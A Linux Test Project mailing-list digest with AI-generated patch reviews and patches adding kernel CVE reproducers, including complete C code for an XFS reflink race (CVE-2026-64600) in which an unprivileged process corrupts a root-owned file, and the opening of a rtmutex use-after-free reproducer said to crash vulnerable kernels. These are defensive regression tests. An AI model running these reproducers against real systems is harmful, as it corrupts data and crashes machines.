From linuxtestproject.agent@gmail.com  Sat Aug  1 09:30:11 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Sat,  1 Aug 2026 07:30:11 +0000
Subject: [LTP] cgroup/cgroup_core03: convert to new LTP API with
 parameterised subtests
In-Reply-To: <20260731044216.33618-1-yeswanth@linux.ibm.com>
References: <20260731044216.33618-1-yeswanth@linux.ibm.com>
Message-ID: <20260801073011.8913-1-linuxtestproject.agent@gmail.com>

Hi Yeswanth,

On Fri, 31 Jul 2026, Yeswanth Krishna Tellakula wrote:
> cgroup/cgroup_core03: convert to new LTP API with parameterised subtests

> static void run(unsigned int n)
> {
> 	int i;
>
> 	/* Fork wave: only needed before the first subtest. */
> 	if (n == 0) {
> 		*data_ptr = 0;
> 		num_pids = PID_NUM;
>
> 		for (i = 0; i < num_pids; i++)
> 			pids[i] = cg_run_nowait(cg_child);
>
> 		TST_CHECKPOINT_WAIT(0);
> 	}
>
> 	switch (n) {
> 	case 0:
> 		test_cg_kill_procs_count();
> 		break;
> 	case 1:
> 		test_cg_kill_trigger();

Critical: Could these dependent stages remain in one .test_all callback?
After run(0) returns, run_tests() unconditionally calls
tst_reap_children(). That blocks in wait() because every child is paused,
while cgroup.kill is not written until run(1). Consequently run(1) is never
reached and the test times out.

> /*\
>  * [Description]

Minor: Could the deprecated [Description] header be removed? Introductory
prose is already treated as the description, and this header is forbidden in
new C test documentation.

> 	.needs_root = 1,

Minor: Could the high-level description explain why root is required? The
new root-only requirement is not documented as required by the root-usage
rule.

> No functional behaviour change.

Minor: Could this claim be removed? The patch adds root-only gating and
kernel-taint failure checking, changes the timeout, and changes result
reporting, so it changes observable behavior even apart from the hang above.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From linuxtestproject.agent@gmail.com  Sat Aug  1 09:30:20 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Sat,  1 Aug 2026 07:30:20 +0000
Subject: [LTP] cgroup/cgroup_core03: convert to new LTP API with
 parameterised subtests
In-Reply-To: <20260731041949.26465-1-yeswanth@linux.ibm.com>
References: <20260731041949.26465-1-yeswanth@linux.ibm.com>
Message-ID: <20260801073020.8923-1-linuxtestproject.agent@gmail.com>

Hi Yeswanth,

On Fri, 31 Jul 2026, Yeswanth Krishna Tellakula wrote:
> cgroup/cgroup_core03: convert to new LTP API with parameterised subtests

> +	if (n == 0) {
> +		*data_ptr = 0;
> +		num_pids = PID_NUM;
> +
> +		for (i = 0; i < num_pids; i++)
> +			pids[i] = cg_run_nowait(cg_child);
> +
> +		TST_CHECKPOINT_WAIT(0);
> +	}
> +
> +	switch (n) {
> +	case 0:
> +		test_cg_kill_procs_count();
> +		break;
> +	case 1:
> +		test_cg_kill_trigger();

Could this sequence remain in one .test_all callback? After run(0) returns,
the LTP runner calls tst_reap_children(), which blocks waiting for the paused
children. The callback that writes to cgroup.kill is therefore never reached,
and the test times out.

Helper functions can still report the individual checks, but no live child
can remain when a .test callback returns.

> + * [Description]
> + *
> + * Functional test for cgroup.kill interface (cgroupv2).

Could the deprecated [Description] marker be removed? Test catalog comments
begin directly with the description; only [Algorithm] is a supported section
marker.

> cgroup/cgroup_core03: convert to new LTP API with parameterised subtests
>
> The test used the old .test_all single-function style.
> [...]
> No functional behaviour change.

Could the commit message describe this as a callback-model refactoring rather
than a new API conversion? The existing test already uses tst_test.h and
struct tst_test, and the callback split currently changes behavior by causing
the timeout above.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From andrea.cervesato@suse.de  Sat Aug  1 11:06:31 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Sat, 01 Aug 2026 11:06:31 +0200
Subject: [LTP] [PATCH v5] cve: reproducer for cve-2026-64600
Message-ID: <20260801-cve-2026-64600-v5-1-2b9e0d5277e4@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Reproducer for CVE-2026-64600 ("RefluXFS"), a race condition in the XFS
reflink copy-on-write path for direct I/O writes. The bug was introduced
in kernel v4.11 by commit 3c68d44a2b49 ("xfs: allocate direct I/O COW
blocks in iomap_begin") and fixed by commit 2f4acd0fcd86 ("xfs: resample
the data fork mapping after cycling ILOCK").

Reviewed-by: Martin Doucha <mdoucha@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
This reproducer has been created with the usage of Kimi K3 (as analyzer
and writer) and DeepSeek v4 Flash (Max) as reviewer, by taking the
RefluXFS technical paper as input:
https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt

On bugged kernel:

tst_test.c:2047: TINFO: LTP version: 20260529-131-gd12a6186b
tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc1-virtme #21 SMP PREEMPT_DYNAMIC Fri Jul 24 10:20:05 CEST 2026 x86_64
tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.2.0-rc1-virtme/build/.config'
tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s
cve-2026-64600.c:233: TFAIL: round 0: racing O_DIRECT write to the clone succeeded
[    1.252815] cve-2026-646
HINT: You _MAY_ be missing kernel fixes:

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2f4acd0fcd86

HINT: You _MAY_ be vulnerable to CVE(s):

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64600

Summary:
passed   0
failed   1
broken   0
skipped  0
warnings 0

On patched kernel:

tst_test.c:2047: TINFO: LTP version: 20260529-131-gd12a6186b
tst_test.c:2050: TINFO: Tested kernel: 7.2.0-rc1-virtme #20 SMP PREEMPT_DYNAMIC Fri Jul 24 10:08:53 CEST 2026 x86_64
tst_kconfig.c:90: TINFO: Parsing kernel config '/lib/modules/7.2.0-rc1-virtme/build/.config'
tst_test.c:1875: TINFO: Overall timeout per run is 0h 00m 30s
[    1.665909] clocksource: Watchdog remote CPU 2 read timed out
[    8.099229] cve-2026-64600 (249) used greatest stack depth: 12216 bytes left
cve-2026-64600.c:242: TPASS: Source file survived racing O_DIRECT writers

Summary:
passed   1
failed   0
broken   0
skipped  0
warnings 0
---
Changes in v5:
- fix description
- remove unused variable
- fix build in opensuse/42.2
- Link to v4: https://lore.kernel.org/20260731-cve-2026-64600-v4-1-8a222eca3a5d@suse.com

Changes in v4:
- remove pressure thread
- move cve before memory leaking CVEs
- Link to v3: https://lore.kernel.org/20260731-cve-2026-64600-v3-1-192da4ddf707@suse.com

Changes in v3:
- use fuzzy loop
- get blksize from stat()
- remove cleanup sentence in the description
- Link to v2: https://lore.kernel.org/20260724-cve-2026-64600-v2-1-c039960448f6@suse.com

Changes in v2:
- rename refluxfs.c
- ensure reflink=1 for mkfs.xfs
- remove root restore
- Link to v1: https://lore.kernel.org/20260724-cve-2026-64600-v1-1-8fa214385d2e@suse.com
---
 runtest/cve              |   1 +
 testcases/cve/.gitignore |   1 +
 testcases/cve/Makefile   |   2 +-
 testcases/cve/refluxfs.c | 227 +++++++++++++++++++++++++++++++++++++++++++++++
 4 files changed, 230 insertions(+), 1 deletion(-)

diff --git a/runtest/cve b/runtest/cve
index 99d84270b6efc9afae5bd27adee704603c3092f7..426b203e9ce25992386923c5543e33256caf5d03 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -89,6 +89,7 @@ cve-2023-0461 setsockopt10
 cve-2023-31248 nft02
 cve-2023-52879 fanotify25
 cve-2026-53362 setsockopt11
+cve-2026-64600 refluxfs
 # Tests below may cause kernel memory leak
 cve-2020-25704 perf_event_open03
 cve-2022-0185 fsconfig03
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index bc1af0dd2c8086e4f5f78a3b15b91fafbd8f5936..5aa038cd5871424967035b39bd3945a038ad13b8 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -16,3 +16,4 @@ tcindex01
 cve-2025-38236
 cve-2025-21756
 cve-2026-46331
+refluxfs
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index 98c38e90801a21eedad986273d537b16f3e4eb91..6be4999a3ea256cf48520c877400dfca19461177 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -11,7 +11,7 @@ stack_clash:	CFLAGS += -fno-optimize-sibling-calls -Wno-infinite-recursion
 
 cve-2016-7042:	LDLIBS += $(KEYUTILS_LIBS)
 
-cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053:  CFLAGS += -pthread
+cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053 refluxfs:  CFLAGS += -pthread
 cve-2014-0196 cve-2016-7117 cve-2017-2671:  LDLIBS += -lrt
 
 ifneq ($(ANDROID),1)
diff --git a/testcases/cve/refluxfs.c b/testcases/cve/refluxfs.c
new file mode 100644
index 0000000000000000000000000000000000000000..e2ed5a8cba13818384a8ed2590ea4efab1809894
--- /dev/null
+++ b/testcases/cve/refluxfs.c
@@ -0,0 +1,227 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Reproducer for CVE-2026-64600 ("RefluXFS"), a race condition in the XFS
+ * reflink copy-on-write path for direct I/O writes. The bug was introduced
+ * in kernel v4.11 by commit 3c68d44a2b49 ("xfs: allocate direct I/O COW
+ * blocks in iomap_begin") and fixed by commit 2f4acd0fcd86 ("xfs: resample
+ * the data fork mapping after cycling ILOCK").
+ *
+ * When an :manpage:`ioctl(2)` FICLONE clone is written via ``O_DIRECT``,
+ * ``xfs_direct_write_iomap_begin()`` samples the clone's data-fork mapping
+ * under ILOCK and calls ``xfs_reflink_allocate_cow()``, which drops the
+ * ILOCK to allocate a transaction and then re-checks whether the *stale*
+ * physical block is still shared. If a second racing ``O_DIRECT`` writer
+ * completes a full copy-on-write cycle inside that lock-drop window, the
+ * old shared block's refcount drops to one, the first writer takes the
+ * "not shared, write in place" branch, and its write is submitted to the
+ * physical block that now belongs only to the reflink source file,
+ * corrupting it on disk.
+ *
+ * [Algorithm]
+ *
+ * - Create a root-owned target file on a reflink-enabled XFS and fill
+ *   its first block with a known pattern
+ * - Drop privileges to the unprivileged user ``nobody``
+ * - Positive control: a single ``O_DIRECT`` write to a fresh clone must
+ *   be copy-on-written and leave the target untouched
+ * - Each round: reflink-clone the target into a scratch clone file, each
+ *   issuing one block-sized ``O_DIRECT`` :manpage:`pwrite(2)` at offset 0
+ *   of the clone
+ * - After each round, read back the target's first block bypassing the
+ *   page cache (``O_DIRECT``): any byte differing from the original
+ *   pattern means a racing write refluxed into the source file and the
+ *   kernel is vulnerable
+ */
+
+#include <pwd.h>
+
+#include "tst_test.h"
+#include "tst_safe_prw.h"
+#include "lapi/ficlone.h"
+#include "tst_fuzzy_sync.h"
+
+#define MNTPOINT	"mnt"
+#define WORKDIR		MNTPOINT "/work"
+#define TARGET		WORKDIR "/target"
+#define CLONE		WORKDIR "/clone"
+
+static char *tbuf, *wbuf, *rbuf;
+
+static int target_fd = -1;
+static int target_dio_fd = -1;
+static int clone_fd = -1;
+
+static int blksize;
+
+static struct tst_fzsync_pair pair;
+
+static void *writer_b(void *arg)
+{
+	int fd;
+
+	(void)arg;
+
+	while (tst_fzsync_run_b(&pair)) {
+		tst_fzsync_wait_b(&pair);
+
+		fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT);
+
+		tst_fzsync_start_race_b(&pair);
+		SAFE_PWRITE(1, fd, wbuf, blksize, 0);
+		tst_fzsync_end_race_b(&pair);
+
+		SAFE_CLOSE(fd);
+	}
+
+	return NULL;
+}
+
+static void drop_privileges(void)
+{
+	struct passwd *pw;
+
+	pw = SAFE_GETPWNAM("nobody");
+	SAFE_SETEGID(pw->pw_gid);
+	SAFE_SETEUID(pw->pw_uid);
+}
+
+static void setup(void)
+{
+	int probe_fd, probe_dio_fd;
+	struct stat sb;
+
+	SAFE_STAT(".", &sb);
+	blksize = sb.st_blksize;
+
+	tbuf = SAFE_MEMALIGN(blksize, blksize);
+	wbuf = SAFE_MEMALIGN(blksize, blksize);
+	rbuf = SAFE_MEMALIGN(blksize, blksize);
+
+	memset(tbuf, 'A', blksize);
+	memset(wbuf, 'X', blksize);
+	memset(rbuf, 0, blksize);
+
+	SAFE_MKDIR(WORKDIR, 0700);
+	SAFE_CHMOD(WORKDIR, 0777);
+
+	target_fd = SAFE_OPEN(TARGET, O_RDWR | O_CREAT | O_TRUNC, 0644);
+	SAFE_WRITE(1, target_fd, tbuf, blksize);
+	SAFE_FSYNC(target_fd);
+	SAFE_CLOSE(target_fd);
+
+	drop_privileges();
+
+	target_fd = SAFE_OPEN(TARGET, O_RDONLY);
+	probe_fd = SAFE_OPEN(CLONE, O_RDWR | O_CREAT | O_TRUNC, 0600);
+
+	TEST(ioctl(probe_fd, FICLONE, target_fd));
+	if (TST_RET == -1) {
+		if (TST_ERR == EOPNOTSUPP || TST_ERR == EINVAL || TST_ERR == ENOSYS) {
+			tst_brk(TCONF, "reflink clones not supported: %s",
+				tst_strerrno(TST_ERR));
+		}
+
+		tst_brk(TBROK | TTERRNO, "ioctl(FICLONE) failed");
+	}
+
+	probe_dio_fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT);
+	SAFE_PWRITE(1, probe_dio_fd, wbuf, blksize, 0);
+	SAFE_CLOSE(probe_dio_fd);
+	SAFE_CLOSE(probe_fd);
+
+	/* The racy write bypasses the target's page cache, so must the read */
+	target_dio_fd = SAFE_OPEN(TARGET, O_RDONLY | O_DIRECT);
+
+	SAFE_PREAD(1, target_dio_fd, rbuf, blksize, 0);
+	if (memcmp(rbuf, tbuf, blksize))
+		tst_brk(TBROK, "Source file modified by a single O_DIRECT write to the clone");
+
+	tst_fzsync_pair_init(&pair);
+}
+
+static void run(void)
+{
+	int corrupted = 0;
+
+	tst_fzsync_pair_reset(&pair, writer_b);
+
+	while (tst_fzsync_run_a(&pair)) {
+		clone_fd = SAFE_OPEN(CLONE, O_RDWR | O_CREAT | O_TRUNC, 0600);
+
+		/*
+		 * target_fd is O_RDONLY opened as "nobody".  FICLONE
+		 * checks inode permission against our effective UID.
+		 */
+		SAFE_IOCTL(clone_fd, FICLONE, target_fd);
+		SAFE_CLOSE(clone_fd);
+
+		clone_fd = SAFE_OPEN(CLONE, O_RDWR | O_DIRECT);
+
+		tst_fzsync_wait_a(&pair);
+
+		tst_fzsync_start_race_a(&pair);
+		SAFE_PWRITE(1, clone_fd, wbuf, blksize, 0);
+		tst_fzsync_end_race_a(&pair);
+
+		SAFE_PREAD(1, target_dio_fd, rbuf, blksize, 0);
+		SAFE_CLOSE(clone_fd);
+
+		if (memcmp(rbuf, tbuf, blksize)) {
+			tst_res(TFAIL, "racing O_DIRECT write to the clone succeeded at loop %d", pair.exec_loop);
+			corrupted = 1;
+			break;
+		}
+	}
+
+	if (!corrupted)
+		tst_res(TPASS, "Source file survived racing O_DIRECT writers");
+}
+
+static void cleanup(void)
+{
+	tst_fzsync_pair_cleanup(&pair);
+
+	if (target_dio_fd != -1)
+		SAFE_CLOSE(target_dio_fd);
+
+	if (target_fd != -1)
+		SAFE_CLOSE(target_fd);
+
+	if (clone_fd != -1)
+		SAFE_CLOSE(clone_fd);
+
+	free(tbuf);
+	free(wbuf);
+	free(rbuf);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.runtime = 180,
+	.needs_root = 1,
+	.mount_device = 1,
+	.mntpoint = MNTPOINT,
+	.filesystems = (struct tst_fs []) {
+		{
+			.type = "xfs",
+			.min_kver = "4.16",
+			.mkfs_ver = "mkfs.xfs >= 1.5.0",
+			.mkfs_opts = (const char *const []) {
+				"-m", "reflink=1",
+				NULL
+			},
+		},
+		{}
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "2f4acd0fcd86"},
+		{"CVE", "2026-64600"},
+		{}
+	},
+};

---
base-commit: 6891f922f21a56238d3225c9a83e08f4f7c1765b
change-id: 20260724-cve-2026-64600-53fd6d627d63

Best regards,
-- 
Andrea Cervesato <andrea.cervesato@suse.com>


From linuxtestproject.agent@gmail.com  Sat Aug  1 12:03:23 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Sat,  1 Aug 2026 10:03:23 +0000
Subject: [LTP] cve: reproducer for cve-2026-64600
In-Reply-To: <20260801-cve-2026-64600-v5-1-2b9e0d5277e4@suse.com>
References: <20260801-cve-2026-64600-v5-1-2b9e0d5277e4@suse.com>
Message-ID: <20260801100323.9154-1-linuxtestproject.agent@gmail.com>

Hi Andrea,

On Sat, 1 Aug 2026, Andrea Cervesato wrote:
> cve: reproducer for cve-2026-64600

Verdict - Reviewed

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From wegao@suse.com  Sat Aug  1 12:04:35 2026
From: wegao@suse.com (Wei Gao)
Date: Sat, 1 Aug 2026 10:04:35 +0000
Subject: [LTP] min_free_kbytes: Handle transient memory drops in
 check_monitor
In-Reply-To: <20260729055233.8636-1-linuxtestproject.agent@gmail.com>
References: <20260729053803.9823-1-wegao@suse.com>
 <20260729055233.8636-1-linuxtestproject.agent@gmail.com>
Message-ID: <am3Es6Qp9ixeXTll@autotest-wegao.qe.prg2.suse.org>

On Wed, Jul 29, 2026 at 05:52:33AM +0000, linuxtestproject.agent@gmail.com wrote:
> Hi Wei,
> 
> On Wed, 29 Jul 2026, Wei Gao wrote:
> > min_free_kbytes: Handle transient memory drops in check_monitor
> 
> > Implement a 2-second grace period with high-accuracy 10ms fixed polling
> > in check_monitor() to allow the kernel time to reclaim memory.
> >
> > Introduce a 10% tolerance (90% threshold) for the MemFree check.
> 
> These are two independent changes, and the second one is much more
> invasive than the first. Could they be split into separate patches?
> 
> The idle poll interval change and the diagnostics are two more logical
> changes in the same commit. Splitting them would let the tolerance be
> discussed (or reverted) on its own.
> 
> > +		threshold = tune * 9 / 10;
> 
> > +			if (memfree < threshold) {
> > +				tst_res(TFAIL, "MemFree %lu kB < 90%% of min_free_kbytes %lu kB (MinSeen: %lu%%) after 2s",
> > +					memfree, tune, (min_memfree * 100 / tune));
> > +				violated = 1;
> > +			} else if (memfree < tune) {
> > +				tst_res(TINFO, "MemFree (%lu kB) stayed within 10%% tolerance (min %lu%%) after ~2s",
> > +					memfree, (min_memfree * 100 / tune));
> 
> With this, a kernel that steadily keeps MemFree at, say, 0.95 *
> min_free_kbytes forever never fails: the loop runs its full 2s, the
> value is above threshold, only TINFO is printed and the test ends with
> TPASS.
> 
> Isn't that the exact regression this test exists to catch? The kernel
> contract is MemFree >= min_free_kbytes, and the tolerance turns a
> permanent violation into an informational message.
> 
AI is now questioning my 90% threshold implementation. To be fair, adding a 
90% threshold under overcommit_memory = 2 might be overkill. But under modes 0 and 1, 
where OOM is to be triggered, I'm not entirely confident that the test can reliably 
capture MemFree > min_free_kbytes before the process gets killed.

What do you guys think? I'd love to hear your feedback on this.

> The 2s grace period already covers the transient case described in the
> commit message. What does the tolerance add on top of it that the grace
> period does not?
> 
> If the concern is the slow recovery tail, would extending the grace
> period (or retrying with a longer budget) be preferable to lowering the
> watermark the test enforces?
> 
> > -		sleep(2);
> > +		usleep(100000);
> 
> The commit message says this improves "responsiveness". What does the
> monitor gain from it?
No idea why AI think this can not improves responsiveness :(
> 
> Sampling 10x more often finds more transient dips, which is what the
> grace period and the tolerance in this same patch are trying to
> suppress. The two changes seem to pull in opposite directions.
> 
> It also makes the child read /proc/meminfo and the min_free_kbytes
> sysctl 20 times per second while the parent is deliberately driving the
> machine into memory pressure, so the monitor adds load to what it is
> measuring.
Make sense, but in my local test it show ok.
> 
> > +			for (i = 10; i <= 2000; i += 10) {
> > +				usleep(10000);
> > +				memfree = SAFE_READ_MEMINFO("MemFree:");
> 
> The loop does not look at "end". min_free_kbytes_test() sends SIGUSR1
> right after test_tune() returns, so if the signal lands while this loop
> is running the child keeps sampling for up to 2s more and can report
> TFAIL for a sample taken after the workload has already finished.
> 
> Would adding "end" to the loop condition avoid reporting on the
> post-test tail?
I have replied in patchv4.
> 
> Also, c-tests rule 4 asks for exponential-backoff polling rather than a
> fixed usleep() interval, and TST_RETRY_FN_EXP_BACKOFF() in
> include/tst_common.h implements it. Fixed 10ms is what makes the
> "recovered after %d ms" number meaningful, so this may be a deliberate
> trade-off worth stating in a comment.
I have replied in patchv4.
> 
> > +					memfree, tune, (min_memfree * 100 / tune));
> 
> min_memfree * 100 overflows a 32-bit unsigned long above roughly 41 GB
> of free memory. The test still carries a TST_ABI32 branch, so 32-bit is
> in scope. 100 * (min_memfree / tune) or a 64-bit intermediate would
> avoid it.
can be improved
> 
> >  * Since the tune is not too large or too little, which will
> >  * lead to the system hang, the following cases are tested
> >  * on all ``overcommit_memory`` policy, at the same time, compare
> >  * the current free memory with the tunable value repeatedly.
> 
> The high-level description still says the free memory is compared with
> the tunable value. After this patch that is no longer what happens.
> Could this block be updated to mention the grace period and, if it
> stays, the tolerance?
> 
> Verdict - Needs revision
> 
> Pre-existing issues, not introduced by this patch:
> 
> - "volatile int end;" is a non-static global; it could be static.
> - eatup_mem() mmaps until failure and never munmaps. The child exits
>   immediately after, so this is not a real leak.
> - checkpatch reports pre-existing warnings on lines 36, 104 and 126.
> 
> ---
> Note:
> 
> The agent can sometimes produce false positives although often its
> findings are genuine. If you find issues with the review, please
> comment this email or ignore the suggestions.
> 
> Regards,
> LTP AI Reviewer

From andrea.cervesato@suse.de  Sat Aug  1 12:34:11 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Sat, 01 Aug 2026 12:34:11 +0200
Subject: [LTP] [PATCH 0/2] Reproducer for ghostlock
Message-ID: <20260801-cve-ghostlock-v1-0-178f698f9702@suse.com>

Test for CVE-2026-43499 (GhostLock), a stack use-after-free in the
rtmutex PI code, fixed in kernel v7.1:
3bfdc63936dd ("rtmutex: Use waiter::task instead of current in remove_waiter()")

Reproducer based on the Nebula Security writeup and open-sourced PoC
(https://nebusec.ai/research/ionstack-part-2/, https://github.com/NebuSec/CyberMeowfia).
Beware, this test will crash the system on a vulnerable kernel.

Assisted by Kimi K3 for the analysis and written mostly with Gemini Pro
3.1 Max.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Andrea Cervesato (2):
      lapi/prctl: add more fallback definitions
      cve: add CVE-2026-43499 reproducer

 configure.ac              |   2 +
 include/lapi/prctl.h      |  25 +++++
 runtest/cve               |   1 +
 testcases/cve/.gitignore  |   1 +
 testcases/cve/Makefile    |   2 +-
 testcases/cve/ghostlock.c | 252 ++++++++++++++++++++++++++++++++++++++++++++++
 6 files changed, 282 insertions(+), 1 deletion(-)
---
base-commit: 6891f922f21a56238d3225c9a83e08f4f7c1765b
change-id: 20260801-cve-ghostlock-6ee4b2f69fd6

Best regards,
-- 
Andrea Cervesato <andrea.cervesato@suse.com>


From andrea.cervesato@suse.de  Sat Aug  1 12:34:12 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Sat, 01 Aug 2026 12:34:12 +0200
Subject: [LTP] [PATCH 1/2] lapi/prctl: add more fallback definitions
In-Reply-To: <20260801-cve-ghostlock-v1-0-178f698f9702@suse.com>
References: <20260801-cve-ghostlock-v1-0-178f698f9702@suse.com>
Message-ID: <20260801-cve-ghostlock-v1-1-178f698f9702@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Add the following fallback definitions:

- PR_SET_MM
- PR_SET_MM_MAP
- PR_SET_MM_MAP_SIZE
- struct prctl_mm_map

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 configure.ac         |  2 ++
 include/lapi/prctl.h | 25 +++++++++++++++++++++++++
 2 files changed, 27 insertions(+)

diff --git a/configure.ac b/configure.ac
index 19fc5e1b8f5f5f94bd797ff2ba4275c29c20cb6c..e698c2b890547ccd32872526daeba13477a7edba 100644
--- a/configure.ac
+++ b/configure.ac
@@ -286,6 +286,8 @@ AC_CHECK_TYPES([struct fsxattr],,,[#include <linux/fs.h>])
 
 AC_CHECK_TYPES([struct logical_block_metadata_cap],,,[#include <linux/fs.h>])
 
+AC_CHECK_TYPES([struct prctl_mm_map],,,[#include <linux/prctl.h>])
+
 AC_CHECK_TYPES([struct sockaddr_vm],,,[
 #include <sys/socket.h>
 #include <linux/vm_sockets.h>
diff --git a/include/lapi/prctl.h b/include/lapi/prctl.h
index 8d3ef5c32ef5e2ee7742cc418b4ec40bee8cd661..96c3396779b3baf01ce05b56d9226fe04cba15c6 100644
--- a/include/lapi/prctl.h
+++ b/include/lapi/prctl.h
@@ -7,6 +7,7 @@
 #ifndef LAPI_PRCTL_H__
 #define LAPI_PRCTL_H__
 
+#include <stdint.h>
 #include <sys/prctl.h>
 
 #ifndef PR_SET_NAME
@@ -59,4 +60,28 @@
 # define PR_SET_SPECULATION_CTRL 53
 #endif
 
+#ifndef PR_SET_MM
+# define PR_SET_MM		35
+#endif
+#ifndef PR_SET_MM_MAP
+# define PR_SET_MM_MAP	14
+#endif
+#ifndef PR_SET_MM_MAP_SIZE
+# define PR_SET_MM_MAP_SIZE	15
+#endif
+
+#ifndef HAVE_STRUCT_PRCTL_MM_MAP
+struct prctl_mm_map {
+	uint64_t start_code, end_code;
+	uint64_t start_data, end_data;
+	uint64_t start_brk, brk;
+	uint64_t start_stack;
+	uint64_t arg_start, arg_end;
+	uint64_t env_start, env_end;
+	uint64_t *auxv;
+	uint32_t auxv_size;
+	uint32_t exe_fd;
+};
+#endif
+
 #endif /* LAPI_PRCTL_H__ */

-- 
2.51.0


From andrea.cervesato@suse.de  Sat Aug  1 12:34:13 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Sat, 01 Aug 2026 12:34:13 +0200
Subject: [LTP] [PATCH 2/2] cve: add CVE-2026-43499 reproducer
In-Reply-To: <20260801-cve-ghostlock-v1-0-178f698f9702@suse.com>
References: <20260801-cve-ghostlock-v1-0-178f698f9702@suse.com>
Message-ID: <20260801-cve-ghostlock-v1-2-178f698f9702@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Add "Ghostlock" reproducer for CVE-2026-43499.

Reproducer based on the Nebula Security writeup and open-sourced PoC
(https://nebusec.ai/research/ionstack-part-2/,
https://github.com/NebuSec/CyberMeowfia).

Beware, this test will crash the system on a vulnerable kernel.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 runtest/cve               |   1 +
 testcases/cve/.gitignore  |   1 +
 testcases/cve/Makefile    |   2 +-
 testcases/cve/ghostlock.c | 252 ++++++++++++++++++++++++++++++++++++++++++++++
 4 files changed, 255 insertions(+), 1 deletion(-)

diff --git a/runtest/cve b/runtest/cve
index 99d84270b6efc9afae5bd27adee704603c3092f7..3035dff9797260402660208f0e5028803a72d297 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -101,3 +101,4 @@ cve-2026-43494 io_uring04
 cve-2026-46300 xfrm02
 cve-2026-46300-skb-segment xfrm03
 cve-2026-46331 cve-2026-46331
+cve-2026-43499 ghostlock
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index bc1af0dd2c8086e4f5f78a3b15b91fafbd8f5936..914592f30e4e3e883b6ed270ad47c6910798974e 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -16,3 +16,4 @@ tcindex01
 cve-2025-38236
 cve-2025-21756
 cve-2026-46331
+ghostlock
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index 98c38e90801a21eedad986273d537b16f3e4eb91..22ca4b727ddc240edcc9409ce82904039fc70111 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -11,7 +11,7 @@ stack_clash:	CFLAGS += -fno-optimize-sibling-calls -Wno-infinite-recursion
 
 cve-2016-7042:	LDLIBS += $(KEYUTILS_LIBS)
 
-cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053:  CFLAGS += -pthread
+cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053 ghostlock:  CFLAGS += -pthread
 cve-2014-0196 cve-2016-7117 cve-2017-2671:  LDLIBS += -lrt
 
 ifneq ($(ANDROID),1)
diff --git a/testcases/cve/ghostlock.c b/testcases/cve/ghostlock.c
new file mode 100644
index 0000000000000000000000000000000000000000..bc59e979f90602c824737706c76b6920e59fcfef
--- /dev/null
+++ b/testcases/cve/ghostlock.c
@@ -0,0 +1,252 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Nebula Security <root@nebusec.ai>
+ * Copyright (c) 2026 Linux Test Project
+ */
+
+/*\
+ * Test for CVE-2026-43499 (GhostLock), a stack use-after-free in the
+ * rtmutex PI code, fixed in kernel v7.1:
+ * 3bfdc63936dd ("rtmutex: Use waiter::task instead of current in remove_waiter()")
+ *
+ * Reproducer based on the Nebula Security writeup and open-sourced PoC
+ * (https://nebusec.ai/research/ionstack-part-2/ and
+ * https://github.com/NebuSec/CyberMeowfia).
+ * Beware, this test will crash the system on a vulnerable kernel.
+ *
+ * [Algorithm]
+ *
+ * - Set up a three-futex PI deadlock topology.
+ * - Call :manpage:`futex(2)` with FUTEX_CMP_REQUEUE_PI on the waiter.
+ * - On a vulnerable kernel, the rollback from -EDEADLK leaves the waiter's
+ *   pi_blocked_on pointer dangling on its own stack.
